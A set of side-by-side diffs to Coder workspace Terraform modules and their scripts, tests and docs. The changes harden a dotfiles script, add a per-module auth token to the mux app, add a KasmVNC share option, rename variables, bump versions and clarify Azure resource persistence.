if [ "$DOTFILES_USER" = "$USER" ]; then if [ "$DOTFILES_USER" = "$USER" ]; then
coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
else else
# The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280 if command -v getent > /dev/null 2>&1; then
# eval echo ~coder -> "/home/coder" DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6)
# eval echo ~root -> "/root" else
DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd)
fi
if [ -z "$DOTFILES_USER_HOME" ]; then
echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2
exit 1
fi
CODER_BIN=$(which coder) CODER_BIN=$(command -v coder)
DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER") sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log"
sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log"
fi fi
fi fi
POST_CLONE_SCRIPT="${POST_CLONE_SCRIPT}"
if [ -n "$POST_CLONE_SCRIPT" ]; then
echo "Running post-clone script..."
POST_CLONE_TMP=$(mktemp)
echo "$POST_CLONE_SCRIPT" | base64 -d > "$POST_CLONE_TMP"
chmod +x "$POST_CLONE_TMP"
$POST_CLONE_TMP
rm "$POST_CLONE_TMP"
fi

View File

@ -42,7 +42,7 @@ module "jetbrains" {
version = "1.3.0" version = "1.3.0"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
folder = "/home/coder/project" folder = "/home/coder/project"
default = ["PY", "IU"] # Pre-configure GoLand and IntelliJ IDEA default = ["PY", "IU"] # Pre-configure PyCharm and IntelliJ IDEA
} }
``` ```

View File

@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and
module "kasmvnc" { module "kasmvnc" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/kasmvnc/coder" source = "registry.coder.com/coder/kasmvnc/coder"
version = "1.2.7" version = "1.3.0"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
desktop_environment = "xfce" desktop_environment = "xfce"
subdomain = true subdomain = true

View File

@ -54,6 +54,15 @@ variable "subdomain" {
description = "Is subdomain sharing enabled in your cluster?" description = "Is subdomain sharing enabled in your cluster?"
} }
variable "share" {
type = string
default = "owner"
validation {
condition = var.share == "owner" || var.share == "authenticated" || var.share == "public"
error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'."
}
}
resource "coder_script" "kasm_vnc" { resource "coder_script" "kasm_vnc" {
agent_id = var.agent_id agent_id = var.agent_id
display_name = "KasmVNC" display_name = "KasmVNC"
@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" {
url = "http://localhost:${var.port}" url = "http://localhost:${var.port}"
icon = "/icon/kasmvnc.svg" icon = "/icon/kasmvnc.svg"
subdomain = var.subdomain subdomain = var.subdomain
share = "owner" share = var.share
order = var.order order = var.order
group = var.group group = var.group

View File

@ -18,7 +18,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "kiro" { module "kiro" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/kiro/coder" source = "registry.coder.com/coder/kiro/coder"
version = "1.2.0" version = "1.2.1"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
@ -31,7 +31,7 @@ module "kiro" {
module "kiro" { module "kiro" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/kiro/coder" source = "registry.coder.com/coder/kiro/coder"
version = "1.2.0" version = "1.2.1"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
folder = "/home/coder/project" folder = "/home/coder/project"
} }
@ -47,7 +47,7 @@ The following example configures Kiro to use the GitHub MCP server with authenti
module "kiro" { module "kiro" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/kiro/coder" source = "registry.coder.com/coder/kiro/coder"
version = "1.2.0" version = "1.2.1"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
folder = "/home/coder/project" folder = "/home/coder/project"
mcp = jsonencode({ mcp = jsonencode({

View File

@ -53,7 +53,7 @@ locals {
module "vscode-desktop-core" { module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder" source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0" version = "1.0.2"
agent_id = var.agent_id agent_id = var.agent_id

View File

@ -14,7 +14,7 @@ Automatically install and run [Mux](https://github.com/coder/mux) in a Coder wor
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.8" version = "1.1.0"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
@ -37,7 +37,7 @@ module "mux" {
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.8" version = "1.1.0"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
@ -48,7 +48,7 @@ module "mux" {
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.8" version = "1.1.0"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
# Default is "latest"; set to a specific version to pin # Default is "latest"; set to a specific version to pin
install_version = "0.4.0" install_version = "0.4.0"
@ -63,7 +63,7 @@ Start Mux with `mux server --add-project /path/to/project`:
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.8" version = "1.1.0"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
add-project = "/path/to/project" add-project = "/path/to/project"
} }
@ -75,7 +75,7 @@ module "mux" {
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.8" version = "1.1.0"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
port = 8080 port = 8080
} }
@ -89,7 +89,7 @@ Run an existing copy of Mux if found, otherwise install from npm:
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.8" version = "1.1.0"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
use_cached = true use_cached = true
} }
@ -103,7 +103,7 @@ Run without installing from the network (requires Mux to be pre-installed):
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.8" version = "1.1.0"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
install = false install = false
} }

View File

@ -7,6 +7,10 @@ terraform {
source = "coder/coder" source = "coder/coder"
version = ">= 2.5" version = ">= 2.5"
} }
random = {
source = "hashicorp/random"
version = ">= 3.0"
}
} }
} }
@ -113,6 +117,22 @@ variable "open_in" {
} }
} }
# Per-module auth token for cross-site request protection.
# We pass this token into each mux process at launch time (process-scoped env)
# and include it in the app URL query string (?token=...).
#
# Why process-scoped env instead of a shared coder_env value:
# multiple mux module instances can target the same agent (different slug/port).
# A single global MUX_SERVER_AUTH_TOKEN env key would cause collisions.
resource "random_password" "mux_auth_token" {
length = 64
special = false
}
locals {
mux_auth_token = random_password.mux_auth_token.result
}
resource "coder_script" "mux" { resource "coder_script" "mux" {
agent_id = var.agent_id agent_id = var.agent_id
display_name = var.display_name display_name = var.display_name
@ -125,6 +145,7 @@ resource "coder_script" "mux" {
INSTALL_PREFIX : var.install_prefix, INSTALL_PREFIX : var.install_prefix,
OFFLINE : !var.install, OFFLINE : !var.install,
USE_CACHED : var.use_cached, USE_CACHED : var.use_cached,
AUTH_TOKEN : local.mux_auth_token,
}) })
run_on_start = true run_on_start = true
@ -140,7 +161,7 @@ resource "coder_app" "mux" {
agent_id = var.agent_id agent_id = var.agent_id
slug = var.slug slug = var.slug
display_name = var.display_name display_name = var.display_name
url = "http://localhost:${var.port}" url = "http://localhost:${var.port}?token=${local.mux_auth_token}"
icon = "/icon/mux.svg" icon = "/icon/mux.svg"
subdomain = var.subdomain subdomain = var.subdomain
share = var.share share = var.share
@ -154,5 +175,3 @@ resource "coder_app" "mux" {
threshold = 6 threshold = 6
} }
} }

View File

@ -20,8 +20,10 @@ run "install_false_and_use_cached_conflict" {
] ]
} }
# Needs command = apply because the URL contains random_password.result,
# which is unknown during plan.
run "custom_port" { run "custom_port" {
command = plan command = apply
variables { variables {
agent_id = "foo" agent_id = "foo"
@ -29,8 +31,51 @@ run "custom_port" {
} }
assert { assert {
condition = resource.coder_app.mux.url == "http://localhost:8080" condition = startswith(resource.coder_app.mux.url, "http://localhost:8080?token=")
error_message = "coder_app URL must use the configured port" error_message = "coder_app URL must use the configured port and include auth token"
}
assert {
condition = trimprefix(resource.coder_app.mux.url, "http://localhost:8080?token=") == random_password.mux_auth_token.result
error_message = "URL token must match the generated auth token"
}
}
# Needs command = apply because random_password.result is unknown during plan.
run "auth_token_in_server_script" {
command = apply
variables {
agent_id = "foo"
}
assert {
condition = strcontains(resource.coder_script.mux.script, "MUX_SERVER_AUTH_TOKEN=")
error_message = "mux launch script must set MUX_SERVER_AUTH_TOKEN"
}
assert {
condition = strcontains(resource.coder_script.mux.script, random_password.mux_auth_token.result)
error_message = "mux launch script must use the generated auth token"
}
}
# Needs command = apply because random_password.result is unknown during plan.
run "auth_token_in_url" {
command = apply
variables {
agent_id = "foo"
}
assert {
condition = startswith(resource.coder_app.mux.url, "http://localhost:4000?token=")
error_message = "coder_app URL must include auth token query parameter"
}
assert {
condition = trimprefix(resource.coder_app.mux.url, "http://localhost:4000?token=") == random_password.mux_auth_token.result
error_message = "URL token must match the generated auth token"
} }
} }
@ -62,5 +107,3 @@ run "use_cached_only_success" {
use_cached = true use_cached = true
} }
} }

View File

@ -9,7 +9,9 @@ function run_mux() {
rm -f "$HOME/.mux/server.lock" rm -f "$HOME/.mux/server.lock"
local port_value local port_value
local auth_token_value
port_value="${PORT}" port_value="${PORT}"
auth_token_value="${AUTH_TOKEN}"
if [ -z "$port_value" ]; then if [ -z "$port_value" ]; then
port_value="4000" port_value="4000"
fi fi
@ -20,7 +22,7 @@ function run_mux() {
fi fi
echo "🚀 Starting mux server on port $port_value..." echo "🚀 Starting mux server on port $port_value..."
echo "Check logs at ${LOG_PATH}!" echo "Check logs at ${LOG_PATH}!"
PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 & MUX_SERVER_AUTH_TOKEN="$auth_token_value" PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
} }
# Check if mux is already installed for offline mode # Check if mux is already installed for offline mode

View File

@ -16,15 +16,15 @@ The VSCode Desktop Core module is a building block for modules that need to expo
```tf ```tf
module "vscode-desktop-core" { module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder" source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.1" version = "1.0.2"
agent_id = var.agent_id agent_id = var.agent_id
web_app_icon = "/icon/code.svg" coder_app_icon = "/icon/code.svg"
web_app_slug = "vscode" coder_app_slug = "vscode"
web_app_display_name = "VS Code Desktop" coder_app_display_name = "VS Code Desktop"
web_app_order = var.order coder_app_order = var.order
web_app_group = var.group coder_app_group = var.group
folder = var.folder folder = var.folder
open_recent = var.open_recent open_recent = var.open_recent

View File

@ -11,9 +11,9 @@ const appName = "vscode-desktop";
const defaultVariables = { const defaultVariables = {
agent_id: "foo", agent_id: "foo",
web_app_icon: "/icon/code.svg", coder_app_icon: "/icon/code.svg",
web_app_slug: "vscode", coder_app_slug: "vscode",
web_app_display_name: "VS Code Desktop", coder_app_display_name: "VS Code Desktop",
protocol: "vscode", protocol: "vscode",
}; };
@ -99,16 +99,16 @@ describe("vscode-desktop-core", async () => {
); );
expect(coder_app?.instances[0].attributes.slug).toBe( expect(coder_app?.instances[0].attributes.slug).toBe(
defaultVariables.web_app_slug, defaultVariables.coder_app_slug,
); );
expect(coder_app?.instances[0].attributes.display_name).toBe( expect(coder_app?.instances[0].attributes.display_name).toBe(
defaultVariables.web_app_display_name, defaultVariables.coder_app_display_name,
); );
}); });
it("sets order", async () => { it("sets order", async () => {
const state = await runTerraformApply(import.meta.dir, { const state = await runTerraformApply(import.meta.dir, {
web_app_order: "5", coder_app_order: "5",
...defaultVariables, ...defaultVariables,
}); });
@ -122,7 +122,7 @@ describe("vscode-desktop-core", async () => {
it("sets group", async () => { it("sets group", async () => {
const state = await runTerraformApply(import.meta.dir, { const state = await runTerraformApply(import.meta.dir, {
web_app_group: "web-app-group", coder_app_group: "web-app-group",
...defaultVariables, ...defaultVariables,
}); });

View File

@ -31,28 +31,28 @@ variable "protocol" {
description = "The URI protocol the IDE." description = "The URI protocol the IDE."
} }
variable "web_app_icon" { variable "coder_app_icon" {
type = string type = string
description = "The icon of the coder_app." description = "The icon of the coder_app."
} }
variable "web_app_slug" { variable "coder_app_slug" {
type = string type = string
description = "The slug of the coder_app." description = "The slug of the coder_app."
} }
variable "web_app_display_name" { variable "coder_app_display_name" {
type = string type = string
description = "The display name of the coder_app." description = "The display name of the coder_app."
} }
variable "web_app_order" { variable "coder_app_order" {
type = number type = number
description = "The order of the coder_app." description = "The order of the coder_app."
default = null default = null
} }
variable "web_app_group" { variable "coder_app_group" {
type = string type = string
description = "The group of the coder_app." description = "The group of the coder_app."
default = null default = null
@ -65,12 +65,12 @@ resource "coder_app" "vscode-desktop" {
agent_id = var.agent_id agent_id = var.agent_id
external = true external = true
icon = var.web_app_icon icon = var.coder_app_icon
slug = var.web_app_slug slug = var.coder_app_slug
display_name = var.web_app_display_name display_name = var.coder_app_display_name
order = var.web_app_order order = var.coder_app_order
group = var.web_app_group group = var.coder_app_group
url = join("", [ url = join("", [
var.protocol, var.protocol,

View File

@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "vscode" { module "vscode" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/vscode-desktop/coder" source = "registry.coder.com/coder/vscode-desktop/coder"
version = "1.2.0" version = "1.2.1"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
@ -29,7 +29,7 @@ module "vscode" {
module "vscode" { module "vscode" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/vscode-desktop/coder" source = "registry.coder.com/coder/vscode-desktop/coder"
version = "1.2.0" version = "1.2.1"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
folder = "/home/coder/project" folder = "/home/coder/project"
} }

View File

@ -40,7 +40,7 @@ variable "group" {
module "vscode-desktop-core" { module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder" source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0" version = "1.0.2"
agent_id = var.agent_id agent_id = var.agent_id

View File

@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "windsurf" { module "windsurf" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/windsurf/coder" source = "registry.coder.com/coder/windsurf/coder"
version = "1.3.0" version = "1.3.1"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
@ -29,7 +29,7 @@ module "windsurf" {
module "windsurf" { module "windsurf" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/windsurf/coder" source = "registry.coder.com/coder/windsurf/coder"
version = "1.3.0" version = "1.3.1"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
folder = "/home/coder/project" folder = "/home/coder/project"
} }
@ -45,7 +45,7 @@ The following example configures Windsurf to use the GitHub MCP server with auth
module "windsurf" { module "windsurf" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/windsurf/coder" source = "registry.coder.com/coder/windsurf/coder"
version = "1.3.0" version = "1.3.1"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
folder = "/home/coder/project" folder = "/home/coder/project"
mcp = jsonencode({ mcp = jsonencode({

View File

@ -65,7 +65,7 @@ locals {
module "vscode-desktop-core" { module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder" source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0" version = "1.0.2"
agent_id = var.agent_id agent_id = var.agent_id

View File

@ -27,8 +27,21 @@ This template provisions the following resources:
- Azure VM (ephemeral, deleted on stop) - Azure VM (ephemeral, deleted on stop)
- Managed disk (persistent, mounted to `/home/coder`) - Managed disk (persistent, mounted to `/home/coder`)
- Resource group, virtual network, subnet, and network interface (persistent, required by the managed disk and VM)
This means, when the workspace restarts, any tools or files outside of the home directory are not persisted. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles. ### What happens on stop
When a workspace is **stopped**, only the VM is destroyed. The managed disk, resource group, virtual network, subnet, and network interface all persist. This is by design — the managed disk retains your `/home/coder` data across workspace restarts, and the other resources remain because the disk depends on them.
This means you will see these Azure resources in your subscription even when a workspace is stopped. This is expected behavior.
### What happens on delete
When a workspace is **deleted**, all resources are destroyed, including the resource group, networking resources, and managed disk.
### Workspace restarts
Since the VM is ephemeral, any tools or files outside of the home directory are not persisted across restarts. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles.
> [!NOTE] > [!NOTE]
> This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case. > This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case.

View File

@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
module "positron" { module "positron" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/cytoshahar/positron/coder" source = "registry.coder.com/cytoshahar/positron/coder"
version = "1.0.1" version = "1.0.2"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
@ -29,7 +29,7 @@ module "positron" {
module "positron" { module "positron" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/cytoshahar/positron/coder" source = "registry.coder.com/cytoshahar/positron/coder"
version = "1.0.1" version = "1.0.2"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
folder = "/home/coder/project" folder = "/home/coder/project"
} }

View File

@ -41,13 +41,13 @@ variable "group" {
variable "slug" { variable "slug" {
type = string type = string
description = "The slug of the app." description = "The slug of the app."
default = "cursor" default = "positron"
} }
variable "display_name" { variable "display_name" {
type = string type = string
description = "The display name of the app." description = "The display name of the app."
default = "Cursor Desktop" default = "Positron Desktop"
} }
data "coder_workspace" "me" {} data "coder_workspace" "me" {}
@ -55,7 +55,7 @@ data "coder_workspace_owner" "me" {}
module "vscode-desktop-core" { module "vscode-desktop-core" {
source = "registry.coder.com/coder/vscode-desktop-core/coder" source = "registry.coder.com/coder/vscode-desktop-core/coder"
version = "1.0.0" version = "1.0.2"
agent_id = var.agent_id agent_id = var.agent_id